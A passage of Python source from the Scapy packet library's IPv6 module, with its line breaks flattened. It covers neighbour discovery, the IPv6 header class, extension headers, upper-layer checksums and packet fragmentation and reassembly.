IntField, IP6Field, \ LongField, MACField, PacketLenField, PacketListField, ShortEnumField, \ ShortField, SourceIP6Field, StrField, StrFixedLenField, StrLenField, \ X3BytesField, XBitField, XIntField, XShortField from scapy.layers.inet import IP, IPTools, TCP, TCPerror, TracerouteResult, \ UDP, UDPerror from scapy.layers.l2 import CookedLinux, Ether, GRE, Loopback, SNAP import scapy.modules.six as six from scapy.packet import bind_layers, Packet, Raw from scapy.sendrecv import sendp, sniff, sr, srp1 from scapy.supersocket import SuperSocket, L3RawSocket from scapy.utils import checksum, strxor from scapy.pton_ntop import inet_pton, inet_ntop from scapy.utils6 import in6_getnsma, in6_getnsmac, in6_isaddr6to4, \ in6_isaddrllallnodes, in6_isaddrllallservers, in6_isaddrTeredo, \ in6_isllsnmaddr, in6_ismaddr, Net6, teredoAddrExtractInfo from scapy.volatile import RandInt, RandShort if not socket.has_ipv6: raise socket.error("can't use AF_INET6, IPv6 is disabled") if not hasattr(socket, "IPPROTO_IPV6"): # Workaround for http://bugs.python.org/issue6926 socket.IPPROTO_IPV6 = 41 if not hasattr(socket, "IPPROTO_IPIP"): # Workaround for https://bitbucket.org/secdev/scapy/issue/5119 socket.IPPROTO_IPIP = 4 if conf.route6 is None: # unused import, only to initialize conf.route6 import scapy.route6 # noqa: F401 ########################## # Neighbor cache stuff # ########################## conf.netcache.new_cache("in6_neighbor", 120) @conf.commands.register def neighsol(addr, src, iface, timeout=1, chainCC=0): """Sends and receive an ICMPv6 Neighbor Solicitation message This function sends an ICMPv6 Neighbor Solicitation message to get the MAC address of the neighbor with specified IPv6 address address. 'src' address is used as source of the message. Message is sent on iface. By default, timeout waiting for an answer is 1 second. If no answer is gathered, None is returned. Else, the answer is returned (ethernet frame). """ nsma = in6_getnsma(inet_pton(socket.AF_INET6, addr)) d = inet_ntop(socket.AF_INET6, nsma) dm = in6_getnsmac(nsma) p = Ether(dst=dm) / IPv6(dst=d, src=src, hlim=255) p /= ICMPv6ND_NS(tgt=addr) p /= ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr(iface)) res = srp1(p, type=ETH_P_IPV6, iface=iface, timeout=1, verbose=0, chainCC=chainCC) return res @conf.commands.register def getmacbyip6(ip6, chainCC=0): """Returns the MAC address corresponding to an IPv6 address neighborCache.get() method is used on instantiated neighbor cache. Resolution mechanism is described in associated doc string. (chainCC parameter value ends up being passed to sending function used to perform the resolution, if needed) """ if isinstance(ip6, Net6): ip6 = str(ip6) if in6_ismaddr(ip6): # Multicast mac = in6_getnsmac(inet_pton(socket.AF_INET6, ip6)) return mac iff, a, nh = conf.route6.route(ip6) if iff == conf.loopback_name: return "ff:ff:ff:ff:ff:ff" if nh != '::': ip6 = nh # Found next hop mac = conf.netcache.in6_neighbor.get(ip6) if mac: return mac res = neighsol(ip6, a, iff, chainCC=chainCC) if res is not None: if ICMPv6NDOptDstLLAddr in res: mac = res[ICMPv6NDOptDstLLAddr].lladdr else: mac = res.src conf.netcache.in6_neighbor[ip6] = mac return mac return None ############################################################################# ############################################################################# # IPv6 Class # ############################################################################# ############################################################################# ipv6nh = {0: "Hop-by-Hop Option Header", 4: "IP", 6: "TCP", 17: "UDP", 41: "IPv6", 43: "Routing Header", 44: "Fragment Header", 47: "GRE", 50: "ESP Header", 51: "AH Header", 58: "ICMPv6", 59: "No Next Header", 60: "Destination Option Header", 112: "VRRP", 132: "SCTP", 135: "Mobility Header"} ipv6nhcls = {0: "IPv6ExtHdrHopByHop", 4: "IP", 6: "TCP", 17: "UDP", 43: "IPv6ExtHdrRouting", 44: "IPv6ExtHdrFragment", 50: "ESP", 51: "AH", 58: "ICMPv6Unknown", 59: "Raw", 60: "IPv6ExtHdrDestOpt"} class IP6ListField(StrField): __slots__ = ["count_from", "length_from"] islist = 1 def __init__(self, name, default, count_from=None, length_from=None): if default is None: default = [] StrField.__init__(self, name, default) self.count_from = count_from self.length_from = length_from def i2len(self, pkt, i): return 16 * len(i) def i2count(self, pkt, i): if isinstance(i, list): return len(i) return 0 def getfield(self, pkt, s): c = tmp_len = None if self.length_from is not None: tmp_len = self.length_from(pkt) elif self.count_from is not None: c = self.count_from(pkt) lst = [] ret = b"" remain = s if tmp_len is not None: remain, ret = s[:tmp_len], s[tmp_len:] while remain: if c is not None: if c <= 0: break c -= 1 addr = inet_ntop(socket.AF_INET6, remain[:16]) lst.append(addr) remain = remain[16:] return remain + ret, lst def i2m(self, pkt, x): s = b"" for y in x: try: y = inet_pton(socket.AF_INET6, y) except Exception: y = socket.getaddrinfo(y, None, socket.AF_INET6)[0][-1][0] y = inet_pton(socket.AF_INET6, y) s += y return s def i2repr(self, pkt, x): s = [] if x is None: return "[]" for y in x: s.append('%s' % y) return "[ %s ]" % (", ".join(s)) class _IPv6GuessPayload: name = "Dummy class that implements guess_payload_class() for IPv6" def default_payload_class(self, p): if self.nh == 58: # ICMPv6 t = orb(p[0]) if len(p) > 2 and (t == 139 or t == 140): # Node Info Query return _niquery_guesser(p) if len(p) >= icmp6typesminhdrlen.get(t, float("inf")): # Other ICMPv6 messages # noqa: E501 if t == 130 and len(p) >= 28: # RFC 3810 - 8.1. Query Version Distinctions return ICMPv6MLQuery2 return icmp6typescls.get(t, Raw) return Raw elif self.nh == 135 and len(p) > 3: # Mobile IPv6 return _mip6_mhtype2cls.get(orb(p[2]), MIP6MH_Generic) elif self.nh == 43 and orb(p[2]) == 4: # Segment Routing header return IPv6ExtHdrSegmentRouting return ipv6nhcls.get(self.nh, Raw) class IPv6(_IPv6GuessPayload, Packet, IPTools): name = "IPv6" fields_desc = [BitField("version", 6, 4), BitField("tc", 0, 8), BitField("fl", 0, 20), ShortField("plen", None), ByteEnumField("nh", 59, ipv6nh), ByteField("hlim", 64), SourceIP6Field("src", "dst"), # dst is for src @ selection DestIP6Field("dst", "::1")] def route(self): """Used to select the L2 address""" dst = self.dst if isinstance(dst, Gen): dst = next(iter(dst)) return conf.route6.route(dst) def mysummary(self): return "%s > %s (%i)" % (self.src, self.dst, self.nh) def post_build(self, p, pay): p += pay if self.plen is None: tmp_len = len(p) - 40 p = p[:4] + struct.pack("!H", tmp_len) + p[6:] return p def extract_padding(self, data): """Extract the IPv6 payload""" if self.plen == 0 and self.nh == 0 and len(data) >= 8: # Extract Hop-by-Hop extension length hbh_len = orb(data[1]) hbh_len = 8 + hbh_len * 8 # Extract length from the Jumbogram option # Note: the following algorithm take advantage of the Jumbo option # mandatory alignment (4n + 2, RFC2675 Section 2) jumbo_len = None idx = 0 offset = 4 * idx + 2 while offset <= len(data): opt_type = orb(data[offset]) if opt_type == 0xc2: # Jumbo option jumbo_len = struct.unpack("I", data[offset + 2:offset + 2 + 4])[0] # noqa: E501 break offset = 4 * idx + 2 idx += 1 if jumbo_len is None: warning("Scapy did not find a Jumbo option") jumbo_len = 0 tmp_len = hbh_len + jumbo_len else: tmp_len = self.plen return data[:tmp_len], data[tmp_len:] def hashret(self): if self.nh == 58 and isinstance(self.payload, _ICMPv6): if self.payload.type < 128: return self.payload.payload.hashret() elif (self.payload.type in [133, 134, 135, 136, 144, 145]): return struct.pack("B", self.nh) + self.payload.hashret() if not conf.checkIPinIP and self.nh in [4, 41]: # IP, IPv6 return self.payload.hashret() nh = self.nh sd = self.dst ss = self.src if self.nh == 43 and isinstance(self.payload, IPv6ExtHdrRouting): # With routing header, the destination is the last # address of the IPv6 list if segleft > 0 nh = self.payload.nh try: sd = self.addresses[-1] except IndexError: sd = '::1' # TODO: big bug with ICMPv6 error messages as the destination of IPerror6 # noqa: E501 # could be anything from the original list ... if 1: sd = inet_pton(socket.AF_INET6, sd) for a in self.addresses: a = inet_pton(socket.AF_INET6, a) sd = strxor(sd, a) sd = inet_ntop(socket.AF_INET6, sd) if self.nh == 43 and isinstance(self.payload, IPv6ExtHdrSegmentRouting): # noqa: E501 # With segment routing header (rh == 4), the destination is # the first address of the IPv6 addresses list try: sd = self.addresses[0] except IndexError: sd = self.dst if self.nh == 44 and isinstance(self.payload, IPv6ExtHdrFragment): nh = self.payload.nh if self.nh == 0 and isinstance(self.payload, IPv6ExtHdrHopByHop): nh = self.payload.nh if self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt): foundhao = None for o in self.payload.options: if isinstance(o, HAO): foundhao = o if foundhao: nh = self.payload.nh # XXX what if another extension follows ? ss = foundhao.hoa if conf.checkIPsrc and conf.checkIPaddr and not in6_ismaddr(sd): sd = inet_pton(socket.AF_INET6, sd) ss = inet_pton(socket.AF_INET6, ss) return strxor(sd, ss) + struct.pack("B", nh) + self.payload.hashret() # noqa: E501 else: return struct.pack("B", nh) + self.payload.hashret() def answers(self, other): if not conf.checkIPinIP: # skip IP in IP and IPv6 in IP if self.nh in [4, 41]: return self.payload.answers(other) if isinstance(other, IPv6) and other.nh in [4, 41]: return self.answers(other.payload) if isinstance(other, IP) and other.proto in [4, 41]: return self.answers(other.payload) if not isinstance(other, IPv6): # self is reply, other is request return False if conf.checkIPaddr: # ss = inet_pton(socket.AF_INET6, self.src) sd = inet_pton(socket.AF_INET6, self.dst) os = inet_pton(socket.AF_INET6, other.src) od = inet_pton(socket.AF_INET6, other.dst) # request was sent to a multicast address (other.dst) # Check reply destination addr matches request source addr (i.e # sd == os) except when reply is multicasted too # XXX test mcast scope matching ? if in6_ismaddr(other.dst): if in6_ismaddr(self.dst): if ((od == sd) or (in6_isaddrllallnodes(self.dst) and in6_isaddrllallservers(other.dst))): # noqa: E501 return self.payload.answers(other.payload) return False if (os == sd): return self.payload.answers(other.payload) return False elif (sd != os): # or ss != od): <- removed for ICMP errors return False if self.nh == 58 and isinstance(self.payload, _ICMPv6) and self.payload.type < 128: # noqa: E501 # ICMPv6 Error message -> generated by IPv6 packet # Note : at the moment, we jump the ICMPv6 specific class # to call answers() method of erroneous packet (over # initial packet). There can be cases where an ICMPv6 error # class could implement a specific answers method that perform # a specific task. Currently, don't see any use ... return self.payload.payload.answers(other) elif other.nh == 0 and isinstance(other.payload, IPv6ExtHdrHopByHop): return self.payload.answers(other.payload) elif other.nh == 44 and isinstance(other.payload, IPv6ExtHdrFragment): return self.payload.answers(other.payload.payload) elif other.nh == 43 and isinstance(other.payload, IPv6ExtHdrRouting): return self.payload.answers(other.payload.payload) # Buggy if self.payload is a IPv6ExtHdrRouting # noqa: E501 elif other.nh == 43 and isinstance(other.payload, IPv6ExtHdrSegmentRouting): # noqa: E501 return self.payload.answers(other.payload.payload) # Buggy if self.payload is a IPv6ExtHdrRouting # noqa: E501 elif other.nh == 60 and isinstance(other.payload, IPv6ExtHdrDestOpt): return self.payload.payload.answers(other.payload.payload) elif self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt): # BU in reply to BRR, for instance # noqa: E501 return self.payload.payload.answers(other.payload) else: if (self.nh != other.nh): return False return self.payload.answers(other.payload) class _IPv46(IP): """ This class implements a dispatcher that is used to detect the IP version while parsing Raw IP pcap files. """ @classmethod def dispatch_hook(cls, _pkt=None, *_, **kargs): if _pkt: if orb(_pkt[0]) >> 4 == 6: return IPv6 elif kargs.get("version") == 6: return IPv6 return IP def inet6_register_l3(l2, l3): return getmacbyip6(l3.dst) conf.neighbor.register_l3(Ether, IPv6, inet6_register_l3) class IPerror6(IPv6): name = "IPv6 in ICMPv6" def answers(self, other): if not isinstance(other, IPv6): return False sd = inet_pton(socket.AF_INET6, self.dst) ss = inet_pton(socket.AF_INET6, self.src) od = inet_pton(socket.AF_INET6, other.dst) os = inet_pton(socket.AF_INET6, other.src) # Make sure that the ICMPv6 error is related to the packet scapy sent if isinstance(self.underlayer, _ICMPv6) and self.underlayer.type < 128: # find upper layer for self (possible citation) selfup = self.payload while selfup is not None and isinstance(selfup, _IPv6ExtHdr): selfup = selfup.payload # find upper layer for other (initial packet). Also look for RH otherup = other.payload request_has_rh = False while otherup is not None and isinstance(otherup, _IPv6ExtHdr): if isinstance(otherup, IPv6ExtHdrRouting): request_has_rh = True otherup = otherup.payload if ((ss == os and sd == od) or # < Basic case (ss == os and request_has_rh)): # ^ Request has a RH : don't check dst address # Let's deal with possible MSS Clamping if (isinstance(selfup, TCP) and isinstance(otherup, TCP) and selfup.options != otherup.options): # seems clamped # Save fields modified by MSS clamping old_otherup_opts = otherup.options old_otherup_cksum = otherup.chksum old_otherup_dataofs = otherup.dataofs old_selfup_opts = selfup.options old_selfup_cksum = selfup.chksum old_selfup_dataofs = selfup.dataofs # Nullify them otherup.options = [] otherup.chksum = 0 otherup.dataofs = 0 selfup.options = [] selfup.chksum = 0 selfup.dataofs = 0 # Test it and save result s1 = raw(selfup) s2 = raw(otherup) tmp_len = min(len(s1), len(s2)) res = s1[:tmp_len] == s2[:tmp_len] # recall saved values otherup.options = old_otherup_opts otherup.chksum = old_otherup_cksum otherup.dataofs = old_otherup_dataofs selfup.options = old_selfup_opts selfup.chksum = old_selfup_cksum selfup.dataofs = old_selfup_dataofs return res s1 = raw(selfup) s2 = raw(otherup) tmp_len = min(len(s1), len(s2)) return s1[:tmp_len] == s2[:tmp_len] return False def mysummary(self): return Packet.mysummary(self) ############################################################################# ############################################################################# # Upper Layer Checksum computation # ############################################################################# ############################################################################# class PseudoIPv6(Packet): # IPv6 Pseudo-header for checksum computation name = "Pseudo IPv6 Header" fields_desc = [IP6Field("src", "::"), IP6Field("dst", "::"), ShortField("uplen", None), BitField("zero", 0, 24), ByteField("nh", 0)] def in6_chksum(nh, u, p): """ As Specified in RFC 2460 - 8.1 Upper-Layer Checksums Performs IPv6 Upper Layer checksum computation. This function operates by filling a pseudo header class instance (PseudoIPv6) with: - Next Header value - the address of _final_ destination (if some Routing Header with non segleft field is present in underlayer classes, last address is used.) - the address of _real_ source (basically the source address of an IPv6 class instance available in the underlayer or the source address in HAO option if some Destination Option header found in underlayer includes this option). - the length is the length of provided payload string ('p') :param nh: value of upper layer protocol :param u: upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be provided with all under layers (IPv6 and all extension headers, for example) :param p: the payload of the upper layer provided as a string """ ph6 = PseudoIPv6() ph6.nh = nh rthdr = 0 hahdr = 0 final_dest_addr_found = 0 while u is not None and not isinstance(u, IPv6): if (isinstance(u, IPv6ExtHdrRouting) and u.segleft != 0 and len(u.addresses) != 0 and final_dest_addr_found == 0): rthdr = u.addresses[-1] final_dest_addr_found = 1 elif (isinstance(u, IPv6ExtHdrSegmentRouting) and u.segleft != 0 and len(u.addresses) != 0 and final_dest_addr_found == 0): rthdr = u.addresses[0] final_dest_addr_found = 1 elif (isinstance(u, IPv6ExtHdrDestOpt) and (len(u.options) == 1) and isinstance(u.options[0], HAO)): hahdr = u.options[0].hoa u = u.underlayer if u is None: warning("No IPv6 underlayer to compute checksum. Leaving null.") return 0 if hahdr: ph6.src = hahdr else: ph6.src = u.src if rthdr: ph6.dst = rthdr else: ph6.dst = u.dst ph6.uplen = len(p) ph6s = raw(ph6) return checksum(ph6s + p) ############################################################################# ############################################################################# # Extension Headers # ############################################################################# ############################################################################# # Inherited by all extension header classes class _IPv6ExtHdr(_IPv6GuessPayload, Packet): name = 'Abstract IPv6 Option Header' aliastypes = [IPv6, IPerror6] # TODO ... # IPv6 options for Extension Headers # _hbhopts = {0x00: "Pad1", 0x01: "PadN", 0x04: "Tunnel Encapsulation Limit", 0x05: "Router Alert", 0x06: "Quick-Start", 0xc2: "Jumbo Payload", 0xc9: "Home Address Option"} class _OTypeField(ByteEnumField): """ Modified BytEnumField that displays information regarding the IPv6 option based on its option type value (What should be done by nodes that process the option if they do not understand it ...) It is used by Jumbo, Pad1, PadN, RouterAlert, HAO options """ pol = {0x00: "00: skip", 0x40: "01: discard", 0x80: "10: discard+ICMP", 0xC0: "11: discard+ICMP not mcast"} enroutechange = {0x00: "0: Don't change en-route", 0x20: "1: May change en-route"} def i2repr(self, pkt, x): s = self.i2s.get(x, repr(x)) polstr = self.pol[(x & 0xC0)] enroutechangestr = self.enroutechange[(x & 0x20)] return "%s [%s, %s]" % (s, polstr, enroutechangestr) class HBHOptUnknown(Packet): # IPv6 Hop-By-Hop Option name = "Scapy6 Unknown Option" fields_desc = [_OTypeField("otype", 0x01, _hbhopts), FieldLenField("optlen", None, length_of="optdata", fmt="B"), StrLenField("optdata", "", length_from=lambda pkt: pkt.optlen)] def alignment_delta(self, curpos): # By default, no alignment requirement """ As specified in section 4.2 of RFC 2460, every options has an alignment requirement usually expressed xn+y, meaning the Option Type must appear at an integer multiple of x octest from the start of the header, plus y octet. That function is provided the current position from the start of the header and returns required padding length. """ return 0 @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: o = orb(_pkt[0]) # Option type if o in _hbhoptcls: return _hbhoptcls[o] return cls def extract_padding(self, p): return b"", p class Pad1(Packet): # IPv6 Hop-By-Hop Option name = "Pad1" fields_desc = [_OTypeField("otype", 0x00, _hbhopts)] def alignment_delta(self, curpos): # No alignment requirement return 0 def extract_padding(self, p): return b"", p class PadN(Packet): # IPv6 Hop-By-Hop Option name = "PadN" fields_desc = [_OTypeField("otype", 0x01, _hbhopts), FieldLenField("optlen", None, length_of="optdata", fmt="B"), StrLenField("optdata", "", length_from=lambda pkt: pkt.optlen)] def alignment_delta(self, curpos): # No alignment requirement return 0 def extract_padding(self, p): return b"", p class RouterAlert(Packet): # RFC 2711 - IPv6 Hop-By-Hop Option name = "Router Alert" fields_desc = [_OTypeField("otype", 0x05, _hbhopts), ByteField("optlen", 2), ShortEnumField("value", None, {0: "Datagram contains a MLD message", 1: "Datagram contains RSVP message", 2: "Datagram contains an Active Network message", # noqa: E501 68: "NSIS NATFW NSLP", 69: "MPLS OAM", 65535: "Reserved"})] # TODO : Check IANA has not defined new values for value field of RouterAlertOption # noqa: E501 # TODO : Now that we have that option, we should do something in MLD class that need it # noqa: E501 # TODO : IANA has defined ranges of values which can't be easily represented here. # noqa: E501 # iana.org/assignments/ipv6-routeralert-values/ipv6-routeralert-values.xhtml def alignment_delta(self, curpos): # alignment requirement : 2n+0 x = 2 y = 0 delta = x * ((curpos - y + x - 1) // x) + y - curpos return delta def extract_padding(self, p): return b"", p class Jumbo(Packet): # IPv6 Hop-By-Hop Option name = "Jumbo Payload" fields_desc = [_OTypeField("otype", 0xC2, _hbhopts), ByteField("optlen", 4), IntField("jumboplen", None)] def alignment_delta(self, curpos): # alignment requirement : 4n+2 x = 4 y = 2 delta = x * ((curpos - y + x - 1) // x) + y - curpos return delta def extract_padding(self, p): return b"", p class HAO(Packet): # IPv6 Destination Options Header Option name = "Home Address Option" fields_desc = [_OTypeField("otype", 0xC9, _hbhopts), ByteField("optlen", 16), IP6Field("hoa", "::")] def alignment_delta(self, curpos): # alignment requirement : 8n+6 x = 8 y = 6 delta = x * ((curpos - y + x - 1) // x) + y - curpos return delta def extract_padding(self, p): return b"", p _hbhoptcls = {0x00: Pad1, 0x01: PadN, 0x05: RouterAlert, 0xC2: Jumbo, 0xC9: HAO} # Hop-by-Hop Extension Header # class _OptionsField(PacketListField): __slots__ = ["curpos"] def __init__(self, name, default, cls, curpos, *args, **kargs): self.curpos = curpos PacketListField.__init__(self, name, default, cls, *args, **kargs) def i2len(self, pkt, i): return len(self.i2m(pkt, i)) def i2m(self, pkt, x): autopad = None try: autopad = getattr(pkt, "autopad") # Hack : 'autopad' phantom field except Exception: autopad = 1 if not autopad: return b"".join(map(str, x)) curpos = self.curpos s = b"" for p in x: d = p.alignment_delta(curpos) curpos += d if d == 1: s += raw(Pad1()) elif d != 0: s += raw(PadN(optdata=b'\x00' * (d - 2))) pstr = raw(p) curpos += len(pstr) s += pstr # Let's make the class including our option field # a multiple of 8 octets long d = curpos % 8 if d == 0: return s d = 8 - d if d == 1: s += raw(Pad1()) elif d != 0: s += raw(PadN(optdata=b'\x00' * (d - 2))) return s def addfield(self, pkt, s, val): return s + self.i2m(pkt, val) class _PhantomAutoPadField(ByteField): def addfield(self, pkt, s, val): return s def getfield(self, pkt, s): return s, 1 def i2repr(self, pkt, x): if x: return "On" return "Off" class IPv6ExtHdrHopByHop(_IPv6ExtHdr): name = "IPv6 Extension Header - Hop-by-Hop Options Header" fields_desc = [ByteEnumField("nh", 59, ipv6nh), FieldLenField("len", None, length_of="options", fmt="B", adjust=lambda pkt, x: (x + 2 + 7) // 8 - 1), _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501 _OptionsField("options", [], HBHOptUnknown, 2, length_from=lambda pkt: (8 * (pkt.len + 1)) - 2)] # noqa: E501 overload_fields = {IPv6: {"nh": 0}} # Destination Option Header # class IPv6ExtHdrDestOpt(_IPv6ExtHdr): name = "IPv6 Extension Header - Destination Options Header" fields_desc = [ByteEnumField("nh", 59, ipv6nh), FieldLenField("len", None, length_of="options", fmt="B", adjust=lambda pkt, x: (x + 2 + 7) // 8 - 1), _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501 _OptionsField("options", [], HBHOptUnknown, 2, length_from=lambda pkt: (8 * (pkt.len + 1)) - 2)] # noqa: E501 overload_fields = {IPv6: {"nh": 60}} # Routing Header # class IPv6ExtHdrRouting(_IPv6ExtHdr): name = "IPv6 Option Header Routing" fields_desc = [ByteEnumField("nh", 59, ipv6nh), FieldLenField("len", None, count_of="addresses", fmt="B", adjust=lambda pkt, x:2 * x), # in 8 bytes blocks # noqa: E501 ByteField("type", 0), ByteField("segleft", None), BitField("reserved", 0, 32), # There is meaning in this field ... # noqa: E501 IP6ListField("addresses", [], length_from=lambda pkt: 8 * pkt.len)] overload_fields = {IPv6: {"nh": 43}} def post_build(self, pkt, pay): if self.segleft is None: pkt = pkt[:3] + struct.pack("B", len(self.addresses)) + pkt[4:] return _IPv6ExtHdr.post_build(self, pkt, pay) # Segment Routing Header # # This implementation is based on draft 06, available at: # https://tools.ietf.org/html/draft-ietf-6man-segment-routing-header-06 class IPv6ExtHdrSegmentRoutingTLV(Packet): name = "IPv6 Option Header Segment Routing - Generic TLV" fields_desc = [ByteField("type", 0), ByteField("len", 0), ByteField("reserved", 0), ByteField("flags", 0), StrLenField("value", "", length_from=lambda pkt: pkt.len)] def extract_padding(self, p): return b"", p registered_sr_tlv = {} @classmethod def register_variant(cls): cls.registered_sr_tlv[cls.type.default] = cls @classmethod def dispatch_hook(cls, pkt=None, *args, **kargs): if pkt: tmp_type = orb(pkt[0]) return cls.registered_sr_tlv.get(tmp_type, cls) return cls class IPv6ExtHdrSegmentRoutingTLVIngressNode(IPv6ExtHdrSegmentRoutingTLV): name = "IPv6 Option Header Segment Routing - Ingress Node TLV" fields_desc = [ByteField("type", 1), ByteField("len", 18), ByteField("reserved", 0), ByteField("flags", 0), IP6Field("ingress_node", "::1")] class IPv6ExtHdrSegmentRoutingTLVEgressNode(IPv6ExtHdrSegmentRoutingTLV): name = "IPv6 Option Header Segment Routing - Egress Node TLV" fields_desc = [ByteField("type", 2), ByteField("len", 18), ByteField("reserved", 0), ByteField("flags", 0), IP6Field("egress_node", "::1")] class IPv6ExtHdrSegmentRoutingTLVPadding(IPv6ExtHdrSegmentRoutingTLV): name = "IPv6 Option Header Segment Routing - Padding TLV" fields_desc = [ByteField("type", 4), FieldLenField("len", None, length_of="padding", fmt="B"), StrLenField("padding", b"\x00", length_from=lambda pkt: pkt.len)] # noqa: E501 class IPv6ExtHdrSegmentRouting(_IPv6ExtHdr): name = "IPv6 Option Header Segment Routing" fields_desc = [ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), ByteField("type", 4), ByteField("segleft", None), ByteField("lastentry", None), BitField("unused1", 0, 1), BitField("protected", 0, 1), BitField("oam", 0, 1), BitField("alert", 0, 1), BitField("hmac", 0, 1), BitField("unused2", 0, 3), ShortField("tag", 0), IP6ListField("addresses", ["::1"], count_from=lambda pkt: (pkt.lastentry + 1)), PacketListField("tlv_objects", [], IPv6ExtHdrSegmentRoutingTLV, length_from=lambda pkt: 8 * pkt.len - 16 * ( pkt.lastentry + 1 ))] overload_fields = {IPv6: {"nh": 43}} def post_build(self, pkt, pay): if self.len is None: # The extension must be align on 8 bytes tmp_mod = (len(pkt) - 8) % 8 if tmp_mod == 1: warning("IPv6ExtHdrSegmentRouting(): can't pad 1 byte!") elif tmp_mod >= 2: # Add the padding extension tmp_pad = b"\x00" * (tmp_mod - 2) tlv = IPv6ExtHdrSegmentRoutingTLVPadding(padding=tmp_pad) pkt += raw(tlv) tmp_len = (len(pkt) - 8) // 8 pkt = pkt[:1] + struct.pack("B", tmp_len) + pkt[2:] if self.segleft is None: tmp_len = len(self.addresses) if tmp_len: tmp_len -= 1 pkt = pkt[:3] + struct.pack("B", tmp_len) + pkt[4:] if self.lastentry is None: lastentry = len(self.addresses) if lastentry == 0: warning( "IPv6ExtHdrSegmentRouting(): the addresses list is empty!" ) else: lastentry -= 1 pkt = pkt[:4] + struct.pack("B", lastentry) + pkt[5:] return _IPv6ExtHdr.post_build(self, pkt, pay) # Fragmentation Header # class IPv6ExtHdrFragment(_IPv6ExtHdr): name = "IPv6 Extension Header - Fragmentation header" fields_desc = [ByteEnumField("nh", 59, ipv6nh), BitField("res1", 0, 8), BitField("offset", 0, 13), BitField("res2", 0, 2), BitField("m", 0, 1), IntField("id", None)] overload_fields = {IPv6: {"nh": 44}} def guess_payload_class(self, p): if self.offset > 0: return Raw else: return super(IPv6ExtHdrFragment, self).guess_payload_class(p) def defragment6(packets): """ Performs defragmentation of a list of IPv6 packets. Packets are reordered. Crap is dropped. What lacks is completed by 'X' characters. """ # Remove non fragments lst = [x for x in packets if IPv6ExtHdrFragment in x] if not lst: return [] id = lst[0][IPv6ExtHdrFragment].id llen = len(lst) lst = [x for x in lst if x[IPv6ExtHdrFragment].id == id] if len(lst) != llen: warning("defragment6: some fragmented packets have been removed from list") # noqa: E501 # reorder fragments res = [] while lst: min_pos = 0 min_offset = lst[0][IPv6ExtHdrFragment].offset for p in lst: cur_offset = p[IPv6ExtHdrFragment].offset if cur_offset < min_offset: min_pos = 0 min_offset = cur_offset res.append(lst[min_pos]) del(lst[min_pos]) # regenerate the fragmentable part fragmentable = b"" for p in res: q = p[IPv6ExtHdrFragment] offset = 8 * q.offset if offset != len(fragmentable): warning("Expected an offset of %d. Found %d. Padding with XXXX" % (len(fragmentable), offset)) # noqa: E501 fragmentable += b"X" * (offset - len(fragmentable)) fragmentable += raw(q.payload) # Regenerate the unfragmentable part. q = res[0].copy() nh = q[IPv6ExtHdrFragment].nh q[IPv6ExtHdrFragment].underlayer.nh = nh q[IPv6ExtHdrFragment].underlayer.plen = len(fragmentable) del q[IPv6ExtHdrFragment].underlayer.payload q /= conf.raw_layer(load=fragmentable) del(q.plen) if q[IPv6].underlayer: q[IPv6] = IPv6(raw(q[IPv6])) else: q = IPv6(raw(q)) return q def fragment6(pkt, fragSize): """ Performs fragmentation of an IPv6 packet. 'fragSize' argument is the expected maximum size of fragment data (MTU). The list of packets is returned. If packet does not contain an IPv6ExtHdrFragment class, it is added to first IPv6 layer found. If no IPv6 layer exists packet is returned in result list unmodified. """ pkt = pkt.copy() if IPv6ExtHdrFragment not in pkt: if IPv6 not in pkt: return [pkt] layer3 = pkt[IPv6] data = layer3.payload frag = IPv6ExtHdrFragment(nh=layer3.nh) layer3.remove_payload() del(layer3.nh) del(layer3.plen) frag.add_payload(data) layer3.add_payload(frag) # If the payload is bigger than 65535, a Jumbo payload must be used, as # an IPv6 packet can't be bigger than 65535 bytes. if len(raw(pkt[IPv6ExtHdrFragment])) > 65535: warning("An IPv6 packet can'be bigger than 65535, please use a Jumbo payload.") # noqa: E501 return [] s = raw(pkt) # for instantiation to get upper layer checksum right if len(s) <= fragSize: return [pkt] # Fragmentable part : fake IPv6 for Fragmentable part length computation fragPart = pkt[IPv6ExtHdrFragment].payload tmp = raw(IPv6(src="::1", dst="::1") / fragPart) fragPartLen = len(tmp) - 40 # basic IPv6 header length fragPartStr = s[-fragPartLen:] # Grab Next Header for use in Fragment Header nh = pkt[IPv6ExtHdrFragment].nh # Keep fragment header fragHeader = pkt[IPv6ExtHdrFragment] del fragHeader.payload # detach payload # Unfragmentable Part unfragPartLen = len(s) - fragPartLen - 8 unfragPart = pkt del pkt[IPv6ExtHdrFragment].underlayer.payload # detach payload # Cut the fragmentable part to fit fragSize. Inner fragments have # a length that is an integer multiple of 8 octets. last Frag MTU # can be anything below MTU lastFragSize = fragSize - unfragPartLen - 8 innerFragSize = lastFragSize - (lastFragSize % 8) if lastFragSize <= 0 or innerFragSize == 0: warning("Provided fragment size value is too low. " + "Should be more than %d" % (unfragPartLen + 8)) return [unfragPart / fragHeader / fragPart] remain = fragPartStr res = [] fragOffset = 0 # offset, incremeted during creation fragId = random.randint(0, 0xffffffff) # random id ... if fragHeader.id is not None: # ... except id provided by user fragId = fragHeader.id fragHeader.m = 1 fragHeader.id = fragId fragHeader.nh = nh # Main loop : cut, fit to FRAGSIZEs, fragOffset, Id ... while True: if (len(remain) > lastFragSize): tmp = remain[:innerFragSize] remain = remain[innerFragSize:] fragHeader.offset = fragOffset # update offset fragOffset += (innerFragSize // 8) # compute new one if IPv6 in unfragPart: unfragPart[IPv6].plen = None tempo = unfragPart / fragHeader / conf.raw_layer(load=tmp) res.append(tempo) else: fragHeader.offset = fragOffset # update offSet fragHeader.m = 0 if IPv6 in unfragPart: unfragPart[IPv6].plen = None tempo = unfragPart / fragHeader / conf.raw_layer(load=remain) res.append(tempo) break return res ############################################################################# ############################################################################# # ICMPv6* Classes # ############################################################################# ############################################################################# icmp6typescls = {1: "ICMPv6DestUnreach", 2: "ICMPv6PacketTooBig", 3: "ICMPv6TimeExceeded", 4: "ICMPv6ParamProblem", 128: "ICMPv6EchoRequest", 129: "ICMPv6EchoReply", 130: "ICMPv6MLQuery", # MLDv1 or MLDv2 131: "ICMPv6MLReport", 132: "ICMPv6MLDone", 133: 